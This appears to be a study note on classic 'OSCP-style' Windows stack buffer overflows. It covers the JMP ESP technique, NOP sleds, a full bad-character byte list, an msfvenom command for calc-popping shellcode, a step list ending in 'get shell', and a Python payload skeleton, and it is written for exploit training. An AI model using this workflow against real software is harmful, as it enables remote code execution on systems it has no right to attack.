# Classic

## Idea

* Since there is no protection on the victim machine, we store a piece of **shellcode** on the stack and use `JMP ESP` to redirect the control flow for executing this shellcode.
* Here `JMP ESP` is used since ESP points to somewhere near the beginning of input buffer. Note that ESP **may not** point to the exact beginning of the buffer.
* Because of the uncertainty of ESP, **NOP sled** should be inserted right before the shellcode.
* The `pop calc` shellcode is often used as PoC.
* I recommend the **Immunity Debugger + Mona** workflow.

## Badchars

{% hint style="info" %}
We assume `\x00` is a badchar by default. Note that`\x0a` and `\x0d` are often badchars as well.
{% endhint %}

```python
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
```

Make sure you only assume `\x00` is a badchar. **Follow the steps to find bachars one by one.** Sometimes assuming other badchars, such as `\x0a` and `\x0d`, would break the bytestream and you may miss some badchars because of that.

## Msfvenom

Generate **pop calc shellcode** using msfvenom:

```bash
msfvenom -p windows/exec cmd=calc.exe exitfunc=thread -b "<badchars>" -f c
```

## Summary

1. Interact with the application and write a script to verify the existence of **stack overflow**.
2. Fuzz the application using pattern and find the **offset**.
3. Find a `JMP ESP` gadget from a library ***w*****ithout protection**.
4. Find all **badchars**.
5. Generate **shellcode** using msfvenom.
6. Get shell or pop calc.

{% hint style="info" %}
Make sure NOP sled is added before the shellcode.
{% endhint %}

## Payload

```python
payload = ""
payload += "A" * offset
payload += <jmp_esp> # EIP => jmp esp
payload += nop_sled
payload += shellcode
payload += another_nop_sled
payload += padding
```

## Template

This type of stack overflow senario is often referred as the **"OSCP-style"** buffer overflow, since it is in the OSCP exam. Many templates exist, and my favorites are:

1. [OSCP Buffer Overflow in 30 minutes -- hyperreality](https://github.com/hyperreality/OSCP-Buffer-Overflow-in-30-minutes)
   * **Automations** are integrated into the scripts, for example, pattern, badchars
   * The scripts contain **built-in instructions**.
2. [OSCP Buffer Overflow -- V1n1v131r4](https://github.com/V1n1v131r4/OSCP-Buffer-Overflow)
   * This repo contains a **step-to-step guide**.
   * Use the guide as **cheatsheet** during the exploit development process.

## Reference

1. [Introduction to Exploit Development -- FuzzySecurity](https://www.fuzzysecurity.com/tutorials/expDev/1.html)
2. [Saved Return Pointer Overflows -- FuzzySecurity](https://www.fuzzysecurity.com/tutorials/expDev/2.html)